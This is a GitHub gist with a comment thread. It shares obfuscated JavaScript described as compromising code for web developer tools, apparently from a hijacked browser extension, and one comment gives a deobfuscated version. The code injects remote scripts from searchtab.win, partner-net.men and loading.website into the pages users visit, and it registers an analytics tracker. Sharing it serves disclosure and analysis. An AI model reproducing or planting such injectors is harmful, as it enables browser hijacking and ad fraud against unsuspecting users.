Skip to content

Instantly share code, notes, and snippets.

@amlwwalker
Created August 2, 2017 17:07
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save amlwwalker/c56b717e0b5236e98da7239fdb493dea to your computer and use it in GitHub Desktop.
Save amlwwalker/c56b717e0b5236e98da7239fdb493dea to your computer and use it in GitHub Desktop.
compromising code for webdeveloper tools
var _0x4d27=["\x63\x6C\x6F\x75\x64\x66\x6C\x61\x72\x65\x2E\x63\x6F\x6D","\x69\x6E\x64\x65\x78\x4F\x66","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x73\x72\x63","\x2F\x2F\x73\x65\x61\x72\x63\x68\x74\x61\x62\x2E\x77\x69\x6E\x2F\x67\x61\x2E\x6A\x73","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x72\x65\x64\x69\x72\x65\x63\x74\x32\x2E\x74\x6F\x70","\x2F\x2F\x70\x61","\x72\x74\x6E\x65","\x72\x2D\x6E\x65","\x74\x2E\x6D\x65","\x6E\x2F\x63\x6F","\x64\x65\x2F\x3F","\x70\x69\x64\x3D","\x39\x37\x33\x38","\x32\x30\x26\x72","\x3D","\x72\x61\x6E\x64\x6F\x6D","\x66\x6C\x6F\x6F\x72","\x66\x69\x72\x73\x74\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x77\x77\x2E\x67\x6F\x6F\x67\x6C\x65\x2D\x61\x6E\x61\x6C\x79\x74\x69\x63\x73\x2E\x63\x6F\x6D\x2F\x61\x6E\x61\x6C\x79\x74\x69\x63\x73\x2E\x6A\x73","\x67\x61","\x47\x6F\x6F\x67\x6C\x65\x41\x6E\x61\x6C\x79\x74\x69\x63\x73\x4F\x62\x6A\x65\x63\x74","\x70\x75\x73\x68","\x71","\x6C","\x61\x73\x79\x6E\x63","\x63\x72\x65\x61\x74\x65","\x55\x41\x2D\x31\x30\x33\x30\x34\x35\x35\x35\x33\x2D\x31","\x61\x75\x74\x6F","\x73\x65\x6E\x64","\x70\x61\x67\x65\x76\x69\x65\x77"];if(top[_0x4d27[3]][_0x4d27[2]][_0x4d27[1]](_0x4d27[0])> -1){(function(){var _0xb2b9x1=document[_0x4d27[5]](_0x4d27[4]);_0xb2b9x1[_0x4d27[6]]= _0x4d27[7];_0xb2b9x1[_0x4d27[8]]= _0x4d27[9];var _0xb2b9x2=document[_0x4d27[10]](_0x4d27[4])[0];_0xb2b9x2[_0x4d27[12]][_0x4d27[11]](_0xb2b9x1,_0xb2b9x2)})()}else {if(top[_0x4d27[3]][_0x4d27[2]][_0x4d27[1]](_0x4d27[13])== -1){(function(){var _0xb2b9x3=document[_0x4d27[5]](_0x4d27[4]);_0xb2b9x3[_0x4d27[6]]= _0x4d27[7];_0xb2b9x3[_0x4d27[8]]= _0x4d27[14]+ _0x4d27[15]+ _0x4d27[16]+ _0x4d27[17]+ _0x4d27[18]+ _0x4d27[19]+ _0x4d27[20]+ _0x4d27[21]+ _0x4d27[22]+ _0x4d27[23]+ Math[_0x4d27[25]](10000000* Math[_0x4d27[24]]());var _0xb2b9x2=document[_0x4d27[10]](_0x4d27[4])[0];_0xb2b9x2[_0x4d27[12]][_0x4d27[11]](_0xb2b9x3,_0xb2b9x2);try{var _0xb2b9x4=document[_0x4d27[27]][_0x4d27[26]];_0xb2b9x4[_0x4d27[12]][_0x4d27[11]](_0xb2b9x2,_0xb2b9x4)}catch(e){document[_0x4d27[27]][_0x4d27[28]](_0xb2b9x2)}})()}};(function(_0xb2b9x5,_0xb2b9x2,_0xb2b9x6,_0xb2b9x7,_0xb2b9x8,_0xb2b9x9,_0xb2b9xa){_0xb2b9x5[_0x4d27[31]]= _0xb2b9x8;_0xb2b9x5[_0xb2b9x8]= _0xb2b9x5[_0xb2b9x8]|| function(){(_0xb2b9x5[_0xb2b9x8][_0x4d27[33]]= _0xb2b9x5[_0xb2b9x8][_0x4d27[33]]|| [])[_0x4d27[32]](arguments)},_0xb2b9x5[_0xb2b9x8][_0x4d27[34]]= 1* new Date();_0xb2b9x9= _0xb2b9x2[_0x4d27[5]](_0xb2b9x6),_0xb2b9xa= _0xb2b9x2[_0x4d27[10]](_0xb2b9x6)[0];_0xb2b9x9[_0x4d27[35]]= 1;_0xb2b9x9[_0x4d27[8]]= _0xb2b9x7;_0xb2b9xa[_0x4d27[12]][_0x4d27[11]](_0xb2b9x9,_0xb2b9xa)})(window,document,_0x4d27[4],_0x4d27[29],_0x4d27[30]);ga(_0x4d27[36],_0x4d27[37],_0x4d27[38]);ga(_0x4d27[39],_0x4d27[40])
var wc = document.createElement('script');
wc.type = 'text/javascript';
wc.src = 'https://loading.website/alert_ce.php';
var s = document.getElementsByTagName('script')[0];
s.parentNode.insertBefore(wc, s);
@amlwwalker
Copy link
Author

@yeahforbes
Copy link

Via jsbeautifier:

if (top['location']['href']['indexOf']('cloudflare.com') > -1) {
  (function() {
    var _0xb2b9x1 = document['createElement']('script');
    _0xb2b9x1['type'] = 'text/javascript';
    _0xb2b9x1['src'] = '//searchtab.win/ga.js';
    var _0xb2b9x2 = document['getElementsByTagName']('script')[0];
    _0xb2b9x2['parentNode']['insertBefore'](_0xb2b9x1, _0xb2b9x2)
  })()
} else {
  if (top['location']['href']['indexOf']('redirect2.top') == -1) {
    (function() {
      var _0xb2b9x3 = document['createElement']('script');
      _0xb2b9x3['type'] = 'text/javascript';
      _0xb2b9x3['src'] = '//pa' + 'rtne' + 'r-ne' + 't.me' + 'n/co' + 'de/?' + 'pid=' + '9738' + '20&r' + '=' + Math['floor'](10000000 * Math['random']());
      var _0xb2b9x2 = document['getElementsByTagName']('script')[0];
      _0xb2b9x2['parentNode']['insertBefore'](_0xb2b9x3, _0xb2b9x2);
      try {
        var _0xb2b9x4 = document['body']['firstChild'];
        _0xb2b9x4['parentNode']['insertBefore'](_0xb2b9x2, _0xb2b9x4)
      } catch (e) {
        document['body']['appendChild'](_0xb2b9x2)
      }
    })()
  }
};
(function(_0xb2b9x5, _0xb2b9x2, _0xb2b9x6, _0xb2b9x7, _0xb2b9x8, _0xb2b9x9, _0xb2b9xa) {
  _0xb2b9x5['GoogleAnalyticsObject'] = _0xb2b9x8;
  _0xb2b9x5[_0xb2b9x8] = _0xb2b9x5[_0xb2b9x8] || function() {
    (_0xb2b9x5[_0xb2b9x8]['q'] = _0xb2b9x5[_0xb2b9x8]['q'] || [])['push'](arguments)
  }, _0xb2b9x5[_0xb2b9x8]['l'] = 1 * new Date();
  _0xb2b9x9 = _0xb2b9x2['createElement'](_0xb2b9x6), _0xb2b9xa = _0xb2b9x2['getElementsByTagName'](_0xb2b9x6)[0];
  _0xb2b9x9['async'] = 1;
  _0xb2b9x9['src'] = _0xb2b9x7;
  _0xb2b9xa['parentNode']['insertBefore'](_0xb2b9x9, _0xb2b9xa)
})(window, document, 'script', 'https://www.google-analytics.com/analytics.js', 'ga');
ga('create', 'UA-103045553-1', 'auto');
ga('send', 'pageview')

var wc = document.createElement('script');
wc.type = 'text/javascript';
wc.src = 'https://loading.website/alert_ce.php';
var s = document.getElementsByTagName('script')[0];
s.parentNode.insertBefore(wc, s);

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment